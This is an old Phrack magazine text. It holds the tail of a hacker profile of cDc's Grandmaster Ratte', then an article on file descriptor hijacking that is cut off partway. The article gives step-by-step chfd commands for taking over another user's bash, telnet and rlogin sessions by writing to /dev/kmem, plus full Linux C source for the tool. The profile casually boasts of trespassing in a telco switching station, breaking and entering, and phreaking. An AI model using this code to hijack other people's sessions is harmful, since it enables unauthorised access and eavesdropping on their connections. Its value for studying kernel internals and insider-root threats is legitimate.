|||
|
----------------[ Personal
|
|||
|
|
|||
|
|
|||
|
Handle: Grandmaster "Swamp" Ratte'
|
|||
|
Call him: Kevin
|
|||
|
Past handles: KP Neato Dee (local BBSes)
|
|||
|
Handle origin: from playing around (and falling in) a swamp all the time
|
|||
|
as a kid
|
|||
|
Date of Birth: April, 1970
|
|||
|
Height: 6'
|
|||
|
Weight: 155 lbs.
|
|||
|
Eye color: blue
|
|||
|
Hair Color: brown
|
|||
|
Computers: Apple ][ (plus/e/c/gs), PC (8088 laptop/'286),
|
|||
|
Amiga (500/600), Macintosh (Plus/7200)
|
|||
|
Admin of: Demon Roach Underground BBS, The Polka AE from Sept.
|
|||
|
'85-present
|
|||
|
Sites Frequented: Not much really. Mindvox can be pretty cool and
|
|||
|
interesting. I used to regularly call boards like The
|
|||
|
Works, Digital Logic's Data Service, the various
|
|||
|
Metallands, Speed Demon Elite, P-80, Kingdom of Shit,
|
|||
|
Ripco, The Metal AE, Dark Side of the Moon, The Missing
|
|||
|
Link, etc.
|
|||
|
URLs: www.l0pht.com/cdc.html, and the new www.cultdeadcow.com
|
|||
|
Email: gratte@cultdeadcow.com
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------[ Favorite Things
|
|||
|
|
|||
|
|
|||
|
Women: that aren't crazy, freshly-scrubbed
|
|||
|
Cars: ones that run, muscle cars with lots of chrome
|
|||
|
Bikes: BMX 24" cruisers, Schwinn Stingrays with metal-flake paint
|
|||
|
Foods: cheap. Sunkist Orange Slurpees.
|
|||
|
Music: 1970's funk and soul, rock, hip-hop, hillbilly country,
|
|||
|
reggae, dance...
|
|||
|
Bands: Run-DMC, Beatles, KISS, Marvin Gaye, Suicidal Tendencies,
|
|||
|
Black Uhuru, Public Enemy, Stevie Wonder, Rolling Stones.
|
|||
|
Zapp, Parliament/Funkadelic, Grandmaster Flash & The
|
|||
|
Furious Five, Dead Kennedies, Black Sabbath, Carpenters,
|
|||
|
James Brown, Metallica, Sly & The Family Stone, Lynyrd
|
|||
|
Skynyrd, Jimi Hendrix, Slayer, Minor Threat
|
|||
|
Instruments: Fender guitars and basses, Kurzweil K2000 series synths
|
|||
|
Computers: Apple ][s and Macintoshes
|
|||
|
Movies: Star Wars, The Manchurian Candidate, Krush Groove,
|
|||
|
Apocalypse Now
|
|||
|
Comics: Peanuts, Calvin & Hobbes, Bloom County
|
|||
|
Sports: Ultimate Frisbee, bicycling, wandering around outside,
|
|||
|
climbing trees and rocks, boating with inflatable life
|
|||
|
rafts in drainage lakes, club dancing
|
|||
|
Books: _Foucault's Pendulum_ by Umberto Eco, The Bible, Farrah
|
|||
|
Fawcett's biography, and _Understanding Media_ by Marshall
|
|||
|
McLuhan
|
|||
|
Magazines: Tons... 2600, Grand Royal, Wired, Macworld, Barely Legal,
|
|||
|
Thrasher, Big Brother, Ride BMX, Urb, Guitar Player,
|
|||
|
Keyboard, Cool Beans, Might, Stress, Slap, Crank, 4080,
|
|||
|
Cometbus, EQ, and whatever else I can get my grubby hands
|
|||
|
on. I really dig magazines. Uh, and Phrack!
|
|||
|
TV: The Six Million Dollar Man, The Simpsons, Charlie's Angels,
|
|||
|
X-Files, A-Team, Mod Squad
|
|||
|
My Bands: Superior Products (bass), Weasel-MX (vox, programming),
|
|||
|
Jinx Unit (bass, phat beatz)
|
|||
|
Quotes: "Fully equipped with an army of lawyers." -ad for Zoo York
|
|||
|
skateboards
|
|||
|
People: Evel Knievel, Boba Fett, Mr. T, and the CULT OF THE DEAD
|
|||
|
COW Multimedia Superstarz!
|
|||
|
Misc: thrift stores, huge shiny belt buckles, phresh new laces
|
|||
|
in my kicks, playing shows with my band(s), exploring
|
|||
|
buildings, big trees and rocks
|
|||
|
Turn Ons: energy
|
|||
|
Turn Offs: pretentiousness
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------[ Passions
|
|||
|
|
|||
|
|
|||
|
If you can't tell from the list up there, I'm really into music. It all
|
|||
|
started when the neighborhood teenagers would let me sit around with them and
|
|||
|
listen to the hard-rockin' soundz of KISS and Led Zep when I was a little kid.
|
|||
|
So my mom (bless her heart) under their advisement, bought me Led Zeppelin
|
|||
|
_IV_ and KISS _Alive!_ which I took to kindergarden class and was reprimanded
|
|||
|
for. A few years later my grade school friends and I would spend hours
|
|||
|
sitting around a cassette player making "radio shows" with our Saturday Night
|
|||
|
Fever soundtrack and various 7" singles from K-Mart. We were rollin' with the
|
|||
|
phattest mixtapes at age nine, fool! Somehow this led to MIDI and drum
|
|||
|
machines and CD burners and now I spend tons of time recording and sequencing
|
|||
|
and playing music. I do a lot of recording for the local punk and hip-hop
|
|||
|
groups and it's hella fun. The back of the building I live in is a small
|
|||
|
empty warehouse where we have all-ages music shows and that's pretty neat too.
|
|||
|
It's called MOTOR... If you're in a touring band, lemme know and send me a
|
|||
|
tape or whatever you've got.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------[ Memorable experiences
|
|||
|
|
|||
|
|
|||
|
Hmm. Well, this is probably my best story, so here we go: I found myself
|
|||
|
all alone at night inside a telco's switching station. Ooh, look... a terminal
|
|||
|
keyboard. In the dim glow of the red "EXIT" signs, that keyboard represented
|
|||
|
all my hopes for a glorious unification of the human spirit through the global
|
|||
|
telecommunications network. How could I best express my ...love... for this
|
|||
|
network and all that it represents? Write a poem? Done it already, hundreds
|
|||
|
of times. Every cDc file I've put out is a gesture of affection. So I did
|
|||
|
what any red-blooded American male wouid do. I dropped my pants, "threw
|
|||
|
jacks" as it were, and doused that human-machine interface unit with my
|
|||
|
Seekrut Sauce.
|
|||
|
|
|||
|
Then I cleaned myself and got the hell out of there... pulse pounding,
|
|||
|
freaked by my own insatiable lust. Is what I did "WRONG"? Don't judge me
|
|||
|
with your pithy concepts of morality! I stood before God with my pants around
|
|||
|
my ankles and expressed what was in my heart. If that's wrong, damn... I
|
|||
|
don't want to be right!
|
|||
|
|
|||
|
---
|
|||
|
|
|||
|
Playing a party where a gang fight broke out, caps were busted during our
|
|||
|
set, and we had to drop our instruments to flee for our livez (and hide under
|
|||
|
cars).
|
|||
|
|
|||
|
---
|
|||
|
|
|||
|
Falling in love. Getting dumped. Lather, rinse, repeat.
|
|||
|
|
|||
|
---
|
|||
|
|
|||
|
Going to the various hacker cons is always a blast. Some people have a
|
|||
|
negative attitude about these things 'cause a lot of kids go and act retarded.
|
|||
|
Which is unfortunate, but I always manage to have a great time. These are the
|
|||
|
only times I get to visit with cDc people and it's like a big bonding
|
|||
|
session... we just run around and hang out. Meet lots of cool people in
|
|||
|
general, every time. So go to the cons and don't cause problems, and
|
|||
|
everything'll be fine.
|
|||
|
|
|||
|
---
|
|||
|
|
|||
|
Starting cDc communications. In some ways this has been an important item
|
|||
|
in my life. Not that editing text files is a huge important thing, 'cause it's
|
|||
|
not. But cDc, at its best, has taught me that I can have a role in making
|
|||
|
something creative and interesting and lasting. Things like that can carry
|
|||
|
over into a lot of aspects in your life. In 1984 I was a junior high student
|
|||
|
and now I'm 27 years old. cDc has changed a lot of course, as it should, but
|
|||
|
I think with our longevity we've worked towards finding a new way to relate to
|
|||
|
technology and the emerging global structure. I was fourteen and part of the
|
|||
|
wave of hacker kids who had been growing up with Atari 2600s at home and the
|
|||
|
video arcade after school... we saw the movie Wargames and got excited. I was
|
|||
|
lucky and had an Apple ][ at home, and soon a modem my dad brought home from
|
|||
|
work. You figured out some Stupid Phone Tricks and bam, in no time you were
|
|||
|
typing away to other kids on BBSes across the country, sharing.... codez and
|
|||
|
warez, sure, but more importantly we shared experiences. This was NEW.
|
|||
|
I remember how exciting it was to call teenager-run boards across the country
|
|||
|
in the early '80s and exchange messages with these people. Now kids can grow
|
|||
|
up from the get-go with the Internet in their house and I think that's just
|
|||
|
great. So my friends and I were writing things and doing goofy drawings and
|
|||
|
whatnot, and could have put out a regular paper 'zine. But we figured out
|
|||
|
pretty early on that the one big advantage these text files we wrote had over
|
|||
|
some photocopied sheets we could staple together was distribution. If we'd
|
|||
|
done a paper 'zine, we could have maybe scraped up enough cash for 50 copies
|
|||
|
or so and forced some friends to take them and then they'd end up at the
|
|||
|
bottom of a closet or in the trash in a few weeks, forgotten. But instead, we
|
|||
|
used those Stupid Phone Tricks hundreds of times... staying up all night, with
|
|||
|
school looming ahead in a few hours. But hey, gotta call that AE in New
|
|||
|
Jersey and upload the latest text files. You can always sleep through class.
|
|||
|
|
|||
|
But what makes CULT OF THE DEAD COW different and has enabled us to last
|
|||
|
is that cDc has never been about technology... we didn't form to trade "inpho"
|
|||
|
and hack together like the other groups. We used technology, be it hand -
|
|||
|
hacked MCI codes or the Internet to get our "messages" out there. Hacking is
|
|||
|
a means to an end. I don't give a rat's ass about hacking or any of that crap
|
|||
|
on its own. I just want to make cool stuff. Now we're starting a "paramedia"
|
|||
|
concept which means the end of cDc as a "hacker group that puts out text
|
|||
|
files." Now we're putting out our own original music and other audio files,
|
|||
|
to be distributed just like our text stuff has traditionally been. The
|
|||
|
bandwidth is finally here where we can do it... and when it's practical, we'll
|
|||
|
be putting out video stuff too. The idea is to be able to do whatever sort of
|
|||
|
creative work we want and to use our huge distribution network to disseminate
|
|||
|
it. That's what "cDc paramedia" and the future of our whole group is about.
|
|||
|
|
|||
|
Somebody who was making his college schedule wrote me email the other day,
|
|||
|
and asked "What classes should I take? I wanna be a hacker." I told him he'd
|
|||
|
be better off with some history and business courses. Please understand, I
|
|||
|
don't mean to diss on hacking. I'm all for having all the knowledge you can
|
|||
|
and exploring things, whatever they may be. But I've met a lot of bitter old
|
|||
|
"gadget freaks" in this scene, and that's something you want to stay away from.
|
|||
|
|
|||
|
That mentality will crush the life out of you under the weight of a
|
|||
|
thousand bits of trivia. Go outside, there's a world there already. It's a
|
|||
|
zillion times more exciting and vibrant that what you can build staring into a
|
|||
|
monitor's dim glare. Hour after hour, year after year. As your eyesight
|
|||
|
fails you and your head draws nearer the image, your shoulders slump. You
|
|||
|
become weak. You are less.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------[ People to mention
|
|||
|
|
|||
|
|
|||
|
The Egyptian Lover: The whole 806 NPA's only real phreak who ran a great
|
|||
|
BBS, The Missing Link, in 1984. I've only seen him a couple of times in
|
|||
|
person, but have to give him mad props for helping Franken Gibe and myself
|
|||
|
get situated with the phreak knowledge. His board attracted guys from The
|
|||
|
Apple Mafia and The Untouchables (the first warez groups ever), and The
|
|||
|
Knights of Shadow. Though I'd been getting warez since 1982, The Missing
|
|||
|
Link was our first contact with the real "elite" h/p scene, and it both
|
|||
|
fascinated and repulsed us.
|
|||
|
|
|||
|
Franken Gibe: Bill helped start and really define cDc back in the day.
|
|||
|
He's a really cool guy. I've known him for over ten years. What can I say?
|
|||
|
We're still, to this day, working on things; though he hasn't been active in
|
|||
|
cDc since '89 or so. Now we're trying to start an advertising agency.
|
|||
|
|
|||
|
Tippy Turtle: Jason gave me my first local BBS number. I pushed him to
|
|||
|
finish "Bunny Lust", which is one of our most popular articles ever. There
|
|||
|
have been court cases inspired by that file, and he wrote it when he was
|
|||
|
fourteen. He came back to town last Christmas and I showed him the cDc web
|
|||
|
site. His comment? "That's totally evil. I can't believe how evil this is."
|
|||
|
|
|||
|
Mohawk Dave: Christoph is another one of my oldest friends who never
|
|||
|
fails to diss cDc. He's a mega-talented AI/robotics guy, and a rad
|
|||
|
guitarist and BMX freestyle rider too. Our group of friends spent countless
|
|||
|
hours cruising the neighborhoods of our hometown on bikes, talking, setting
|
|||
|
fires, breaking & entering, and having a good ol' time.
|
|||
|
|
|||
|
Ex-girlfriends: Blech.
|
|||
|
|
|||
|
All the other cDc people. Dang, there've been maybe fifty or so over the
|
|||
|
years and they've all done their thing well and I'm really happy they did.
|
|||
|
They know what's up... this part could run on forever, so I'll just stop.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----------------[ Pearls Of Wisdom
|
|||
|
|
|||
|
|
|||
|
Procrastination is the denial of death.
|
|||
|
Lift with your legs, not your back.
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 05 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ File Descriptor Hijacking
|
|||
|
|
|||
|
|
|||
|
--------[ orabidoo <odar@pobox.com>
|
|||
|
|
|||
|
|
|||
|
Introduction
|
|||
|
------------
|
|||
|
|
|||
|
We often hear of tty hijacking as a way for root to take over a user's
|
|||
|
session. The traditional tools for this use STREAMS on SysV machines,
|
|||
|
and one article in Phrack 50 presented a way to do it in Linux, using
|
|||
|
loadable modules.
|
|||
|
|
|||
|
I'll describe here a simple technique that lets root take over a local
|
|||
|
or remote session. I've implemented it for Linux and FreeBSD; it should
|
|||
|
be easy to port it to just about any Un*x-like system where root can
|
|||
|
write to kernel memory.
|
|||
|
|
|||
|
The idea is simple: by tweaking the kernel's file descriptor tables, one
|
|||
|
can forcefully move file descriptors from one process to another.
|
|||
|
This method allows you to do almost anything you want: redirect the
|
|||
|
output of a running command to a file, or even take over your neighbor's
|
|||
|
telnet connection.
|
|||
|
|
|||
|
|
|||
|
How the kernel keeps track of open file descriptors
|
|||
|
---------------------------------------------------
|
|||
|
|
|||
|
In Un*x, processes access resources by means of file descriptors, which
|
|||
|
are obtained via system calls such as open(), socket() and pipe(). From
|
|||
|
the process's point of view, the file descriptor is an opaque handle to
|
|||
|
the resource. File descriptors 0, 1 and 2 represent standard input,
|
|||
|
output and error, respectively. New descriptors are always allocated in
|
|||
|
sequence.
|
|||
|
|
|||
|
On the other side of the fence, the kernel keeps, for each process, a
|
|||
|
table of file descriptors (fds), with a pointer to a structure for each
|
|||
|
fd. The pointer is NULL if the fd isn't open. Otherwise, the structure
|
|||
|
holds information about what kind of fd it is (a file, a socket, a
|
|||
|
pipe, etc), together with pointers to data about the resource that the fd
|
|||
|
accesses (the file's inode, the socket's address and state information,
|
|||
|
and so on).
|
|||
|
|
|||
|
The process table is usually an array or a linked list of structures.
|
|||
|
From the structure for a given process, you can easily find a pointer to
|
|||
|
the internal fd table for that process.
|
|||
|
|
|||
|
In Linux, the process table is an array (called "task") of struct
|
|||
|
task_struct's, and includes a pointer to a struct files_struct, which
|
|||
|
has the fd array (look at /usr/include/linux/sched.h for details). In
|
|||
|
SunOS 4, the process table is a linked list of struct proc's, which
|
|||
|
include a pointer to the u_area, which has info about the fds (look at
|
|||
|
/usr/include/sys/proc.h). In FreeBSD, it's also a linked list (called
|
|||
|
"allproc") of struct proc's, which include a pointer to a struct
|
|||
|
filedesc with the fd table (also according to /usr/include/sys/proc.h).
|
|||
|
|
|||
|
If you have read and write access to the kernel's memory (which, in most
|
|||
|
cases, is the same as having read/write access to /dev/kmem), there's
|
|||
|
nothing to prevent you from messing with these fd tables, stealing open
|
|||
|
fd's from a process and reusing them in another one.
|
|||
|
|
|||
|
The only major case where this won't work are systems based on BSD4.4
|
|||
|
(such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
|
|||
|
In that mode, write access to /dev/mem and /dev/kmem is disabled, among
|
|||
|
other things. However, many BSD systems run at securelevel -1, which leaves
|
|||
|
them vulnerable, and in many others it may be possible to get the securelevel
|
|||
|
to be -1 at the next boot by tweaking the startup scripts. On FreeBSD, you
|
|||
|
can check the securelevel with the command "sysctl kern.securelevel". Linux
|
|||
|
also has securelevels, but they don't prevent you from accessing /dev/kmem.
|
|||
|
|
|||
|
|
|||
|
File descriptor hijacking
|
|||
|
-------------------------
|
|||
|
|
|||
|
The kernel's internal variables are really not made to be modified like
|
|||
|
this by user programs, and it shows.
|
|||
|
|
|||
|
First of all, on a multitasking system, you have no guarantee that the
|
|||
|
kernel's state won't have changed between the time you find out a
|
|||
|
variable's address and the time you write to it (no atomicity). This is
|
|||
|
why these techniques shouldn't be used in any program that aims for
|
|||
|
reliability. That being said, in practice, I haven't seen it fail, because
|
|||
|
the kernel doesn't move this kind of data around once it has allocated it
|
|||
|
(at least for the first 20 or 32 or 64 or so fds per process), and because
|
|||
|
it's quite unlikely that you'll do this just when the process is closing or
|
|||
|
opening a new fd.
|
|||
|
|
|||
|
You still want to try it?
|
|||
|
|
|||
|
For simplicity's sake, we won't try to do things like duplicating an fd
|
|||
|
between two processes, or passing an fd from one process to another
|
|||
|
without passing another one in return. Instead, we'll just exchange an
|
|||
|
fd in one process with another fd in another process. This way we only
|
|||
|
have to deal with open files, and don't mess with things like reference
|
|||
|
counts. This is as simple as finding two pointers in the kernel and
|
|||
|
switching them around. A slightly more complicated version of this
|
|||
|
involves 3 processes, and a circular permutation of the fds.
|
|||
|
|
|||
|
Of course, you have to guess which fd corresponds to the resource you
|
|||
|
want to pass. To take complete control of a running shell, you'll want
|
|||
|
its standard input, output and error, so you'll need to take the 3 fds
|
|||
|
0, 1 and 2. To take control of a telnet session, you'll want the fd of
|
|||
|
the inet socket that telnet is using to talk to the other side, which is
|
|||
|
usually 3, and exchange it with another running telnet (so it knows what
|
|||
|
to do with it). Under Linux, a quick look at /proc/[pid]/fd will tell
|
|||
|
you which fds the process is using.
|
|||
|
|
|||
|
|
|||
|
Using chfd
|
|||
|
----------
|
|||
|
|
|||
|
I've implemented this for Linux and FreeBSD; it would be fairly easy to
|
|||
|
port to other systems (as long as they let you write to /dev/mem or
|
|||
|
/dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
|
|||
|
figure out how it works).
|
|||
|
|
|||
|
To compile chfd for Linux, you need to figure out a couple things about
|
|||
|
the running kernel. If it's a 1.2.13 or similar, you'll need to
|
|||
|
uncomment the line /* #define OLDLINUX */, because the kernel's
|
|||
|
structures have changed since then. If it's 2.0.0 or newer, it should
|
|||
|
work out of the box, although it could change again...
|
|||
|
|
|||
|
Then you need to find the symbol table for the kernel, which is usually
|
|||
|
in /boot/System.map or similar. Make sure this corresponds to the
|
|||
|
kernel that is actually running, and look up the address for the "task"
|
|||
|
symbol. You need to put this value in chfd, instead of "00192d28".
|
|||
|
Then compile with "gcc chfd.c -o chfd".
|
|||
|
|
|||
|
To compile chfd for FreeBSD, just get the FreeBSD code and compile it
|
|||
|
with "gcc chfd.c -o chfd -lkvm". This code was written for FreeBSD
|
|||
|
2.2.1, and might need tweaking for other versions.
|
|||
|
|
|||
|
Once it's compiled, you invoke chfd with
|
|||
|
|
|||
|
chfd pid1 fd1 pid2 fd2
|
|||
|
or
|
|||
|
chfd pid1 fd1 pid2 fd2 pid3 fd3
|
|||
|
|
|||
|
In the first case, the fds are just swapped. In the second case, the
|
|||
|
second process gets the first's fd, the third gets the second's fd, and
|
|||
|
the first gets the third's fd.
|
|||
|
|
|||
|
As a special case, if one of the pids is zero, the corresponding fd is
|
|||
|
discarded, and a fd on /dev/null is passed instead.
|
|||
|
|
|||
|
|
|||
|
Example 1
|
|||
|
---------
|
|||
|
|
|||
|
. a long calculation is running with pid 207, and with output to the tty
|
|||
|
. you type "cat > somefile", and look up cat's pid (say 1746)
|
|||
|
|
|||
|
Then doing
|
|||
|
|
|||
|
chfd 207 1 1746 1
|
|||
|
|
|||
|
will redirect the calculation on the fly to the file "somefile", and the
|
|||
|
cat to the calculation's tty. Then you can ^C the cat, and leave the
|
|||
|
calculation running without fear of important results scrolling by.
|
|||
|
|
|||
|
|
|||
|
Example 2
|
|||
|
---------
|
|||
|
|
|||
|
. someone is running a copy of bash on a tty, with pid 4022
|
|||
|
. you are running another copy of bash on a tty, with pid 4121
|
|||
|
|
|||
|
Then you do
|
|||
|
|
|||
|
sleep 10000
|
|||
|
# on your own bash, so it won't read its tty for a while,
|
|||
|
# otherwise your shell gets an EOF from /dev/null and leaves
|
|||
|
# the session immediately
|
|||
|
chfd 4022 0 0 0 4121 0
|
|||
|
chfd 4022 1 0 0 4121 1
|
|||
|
chfd 4022 2 0 0 4121 2
|
|||
|
|
|||
|
and you find yourself controlling the other guy's bash, and getting the
|
|||
|
output too, while the guy's keystrokes go to /dev/null. When you exit
|
|||
|
the shell, he gets his session disconnected, and you're back in your
|
|||
|
sleep 10000 which you can safely ^C now.
|
|||
|
|
|||
|
Different shells might use different file descriptors; zsh seems to use
|
|||
|
fd 10 to read from the tty, so you'll need to exchange that too.
|
|||
|
|
|||
|
|
|||
|
Example 3
|
|||
|
---------
|
|||
|
|
|||
|
. someone is running a telnet on a tty, with pid 6309
|
|||
|
. you start a telnet to some worthless port that won't drop the
|
|||
|
connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
|
|||
|
whatever), with pid 7081
|
|||
|
. under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
|
|||
|
telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.
|
|||
|
|
|||
|
Then doing
|
|||
|
|
|||
|
chfd 6309 3 7081 3 0 0
|
|||
|
|
|||
|
will replace the network connection with a /dev/null on the guy's telnet
|
|||
|
(which reads an EOF, so he'll get a "Connection closed by foreign
|
|||
|
host."), and your telnet finds itself connected to the guy's remote
|
|||
|
host. At this point you'll probably need to press ^] and type "mode
|
|||
|
character" to tell your telnet to stop echoing your lines locally.
|
|||
|
|
|||
|
|
|||
|
Example 4
|
|||
|
---------
|
|||
|
|
|||
|
. someone is running an rlogin on a tty; each rlogin uses two processes,
|
|||
|
with pids 4547 and 4548
|
|||
|
. you start an rlogin localhost on another tty, with pids 4852 and 4855
|
|||
|
. a quick look at the relevant /proc/../fds tells you that each of the
|
|||
|
rlogin processes is using fd 3 for the connection.
|
|||
|
|
|||
|
Then doing
|
|||
|
|
|||
|
chfd 4547 3 4552 3
|
|||
|
chfd 4548 3 4555 3
|
|||
|
|
|||
|
does just what you expect. Except that your rlogin may still be blocked
|
|||
|
by the kernel because it's waiting on an event that won't happen (having
|
|||
|
data to read from localhost); in that case you wake it up with a kill
|
|||
|
-STOP followed by 'fg'.
|
|||
|
|
|||
|
|
|||
|
You get the idea. When a program gets another one's fd, it's important
|
|||
|
that it knows what to do with it; in most cases you achieve this by
|
|||
|
running a copy of the same program you want to take over, unless you're
|
|||
|
passing a fd on /dev/null (which gives an EOF) or just passing
|
|||
|
stdin/stdout/stderr.
|
|||
|
|
|||
|
|
|||
|
Conclusion
|
|||
|
----------
|
|||
|
|
|||
|
As you can see, you can do quite powerful things with this. And there
|
|||
|
isn't really much you can do to protect yourself from some root doing
|
|||
|
this, either.
|
|||
|
|
|||
|
It could be argued that it's not even a security hole; root is
|
|||
|
*supposed* to be able to do these things. Otherwise there wouldn't be
|
|||
|
explicit code in the drivers for /dev/kmem to let you write there, would
|
|||
|
there?
|
|||
|
|
|||
|
|
|||
|
The Linux code
|
|||
|
--------------
|
|||
|
|
|||
|
<++> fd_hijack/chfd-linux.c
|
|||
|
/* chfd - exchange fd's between 2 or 3 running processes.
|
|||
|
*
|
|||
|
* This was written for Linux/intel and is *very* system-specific.
|
|||
|
* Needs read/write access to /dev/kmem; setgid kmem is usually enough.
|
|||
|
*
|
|||
|
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
|
|||
|
*
|
|||
|
* With two sets of arguments, exchanges a couple of fd between the
|
|||
|
* two processes.
|
|||
|
* With three sets, the second process gets the first's fd, the third gets
|
|||
|
* the second's fd, and the first gets the third's fd.
|
|||
|
*
|
|||
|
* Note that this is inherently unsafe, since we're messing with kernel
|
|||
|
* variables while the kernel itself might be changing them. It works
|
|||
|
* in practice, but no self-respecting program would want to do this.
|
|||
|
*
|
|||
|
* Written by: orabidoo <odar@pobox.com>
|
|||
|
* First version: 14 Feb 96
|
|||
|
* This version: 2 May 97
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#define __KERNEL__ /* needed to access kernel-only definitions */
|
|||
|
#include <linux/sched.h>
|
|||
|
|
|||
|
/* #define OLDLINUX */ /* uncomment this if you're using Linux 1.x;
|
|||
|
tested only on 1.2.13 */
|
|||
|
|
|||
|
#define TASK 0x00192d28 /* change this! look at the system map,
|
|||
|
usually /boot/System.map, for the address
|
|||
|
of the "task" symbol */
|
|||
|
|
|||
|
#ifdef OLDLINUX
|
|||
|
# define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
|
|||
|
# define AD(fd) (taskp + FD0 + 4*(fd))
|
|||
|
#else
|
|||
|
# define FILES ((char *)&ts.files - (char *)&ts)
|
|||
|
# define FD0 ((char *)&fs.fd[0] - (char *)&fs)
|
|||
|
# define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
|
|||
|
#endif
|
|||
|
|
|||
|
|
|||
|
int kfd;
|
|||
|
struct task_struct ts;
|
|||
|
struct files_struct fs;
|
|||
|
int taskp;
|
|||
|
|
|||
|
int readval(int ad) {
|
|||
|
int val, r;
|
|||
|
|
|||
|
if (lseek(kfd, ad, SEEK_SET) < 0)
|
|||
|
perror("lseek"), exit(1);
|
|||
|
if ((r = read(kfd, &val, 4)) != 4) {
|
|||
|
if (r < 0)
|
|||
|
perror("read");
|
|||
|
else fprintf(stderr, "Error reading...\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
return val;
|
|||
|
}
|
|||
|
|
|||
|
int readvalz(int ad) {
|
|||
|
int r = readval(ad);
|
|||
|
if (r == 0)
|
|||
|
fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
|
|||
|
return r;
|
|||
|
}
|
|||
|
|
|||
|
void writeval(int ad, int val) {
|
|||
|
int w;
|
|||
|
|
|||
|
if (lseek(kfd, ad, SEEK_SET) < 0)
|
|||
|
perror("lseek"), exit(1);
|
|||
|
if ((w = write(kfd, &val, 4)) != 4) {
|
|||
|
if (w < 0)
|
|||
|
perror("write");
|
|||
|
else fprintf(stderr, "Error writing...\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
void readtask(int ad) {
|
|||
|
int r;
|
|||
|
|
|||
|
if (lseek(kfd, ad, SEEK_SET)<0)
|
|||
|
perror("lseek"), exit(1);
|
|||
|
if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
|
|||
|
sizeof(struct task_struct)) {
|
|||
|
if (r < 0)
|
|||
|
perror("read");
|
|||
|
else fprintf(stderr, "Error reading...\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
void findtask(int pid) {
|
|||
|
int adr;
|
|||
|
|
|||
|
for (adr=TASK; ; adr+=4) {
|
|||
|
if (adr >= TASK + 4*NR_TASKS)
|
|||
|
fprintf(stderr, "Process not found\n"), exit(1);
|
|||
|
taskp = readval(adr);
|
|||
|
if (!taskp) continue;
|
|||
|
readtask(taskp);
|
|||
|
if (ts.pid == pid) break;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
int main(int argc, char **argv) {
|
|||
|
int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
|
|||
|
int three=0;
|
|||
|
|
|||
|
if (argc != 5 && argc != 7)
|
|||
|
fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]),
|
|||
|
exit(1);
|
|||
|
|
|||
|
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
|
|||
|
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
|
|||
|
if (argc == 7)
|
|||
|
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
|
|||
|
|
|||
|
if (pid1 == 0)
|
|||
|
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
|
|||
|
if (pid2 == 0)
|
|||
|
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
|
|||
|
if (three && pid3 == 0)
|
|||
|
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
|
|||
|
|
|||
|
kfd = open("/dev/kmem", O_RDWR);
|
|||
|
if (kfd < 0)
|
|||
|
perror("open"), exit(1);
|
|||
|
|
|||
|
findtask(pid1);
|
|||
|
ad1 = AD(fd1);
|
|||
|
val1 = readvalz(ad1);
|
|||
|
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
|
|||
|
|
|||
|
findtask(pid2);
|
|||
|
ad2 = AD(fd2);
|
|||
|
val2 = readvalz(ad2);
|
|||
|
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
|
|||
|
|
|||
|
if (three) {
|
|||
|
findtask(pid3);
|
|||
|
ad3 = AD(fd3);
|
|||
|
val3 = readvalz(ad3);
|
|||
|
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
|
|||
|
}
|
|||
|
|
|||
|
if (three) {
|
|||
|
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
|
|||
|
fprintf(stderr, "fds changed in memory while using them - try again\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
writeval(ad2, val1);
|
|||
|
writeval(ad3, val2);
|
|||
|
writeval(ad1, val3);
|
|||
|
} else {
|
|||
|
if (readval(ad1)!=val1 || readval(ad2)!=val2) {
|
|||
|
fprintf(stderr, "fds changed in memory while using them - try again\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
writeval(ad1, val2);
|
|||
|
writeval(ad2, val1);
|
|||
|
}
|
|||
|
printf("Done!\n");
|
|||
|
}
|
|||
|
|
|||
|
<-->
|
|||
|
|
|||
|
The FreeBSD code
|
|||
|
----------------
|
|||
|
|
|||
|
<++> fd_hijack/chfd-freebsd.c
|
|||
|
|
|||
|
/* chfd - exchange fd's between 2 or 3 running processes.
|
|||
|
*
|
|||
|
* This was written for FreeBSD and is *very* system-specific. Needs
|
|||
|
* read/write access to /dev/mem and /dev/kmem; only root can usually
|
|||
|
* do that, and only if the system is running at securelevel -1.
|
|||
|
*
|
|||
|
* Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
|
|||
|
